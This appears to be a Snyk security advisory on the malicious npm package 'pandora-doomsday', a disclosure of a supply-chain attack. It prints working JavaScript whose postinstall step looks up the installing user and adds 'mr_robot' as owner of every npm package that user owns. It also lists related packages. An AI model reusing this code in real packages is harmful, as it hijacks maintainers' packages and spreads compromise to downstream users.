Snyk has a published code exploit for this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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pandora-doomsday
is a malicious package that uses postinstall
scripts to perform malicious activity, like adding the owner of the malicious package as an owner to all packages owned by the user who performed npm install
.
This is especially dangerous in production runtime environments, where environment variables tend to consist of keys, passwords, tokens and other secrets.
PoC:
function currentUser(cb) { exec('npm whoami', function (err, stdout, stderr) { if (!err) cb(stdout); }); }
function addOwner(packageName, newOwner) { exec('npm owner add ' + newOwner + ' ' + packageName); }
function getModulesOwned(user, cb) { var url = 'https://www.npmjs.org/~' + user;
request(url, function (error, response, body) { var $ = cheerio.load(body); var packages = $('.collaborated-packages a').map(function (i, el) { return $(this).text(); }).get();
cb(packages);
}); }
currentUser(function (user) { if (user) { getModulesOwned(user, function (modules) { modules.forEach(function (moduleName) { addOwner(moduleName, 'mr_robot'); }); }); } });
The list of packages and their scripts are:
shrugging-logging
test-module-a
pandora-doomsday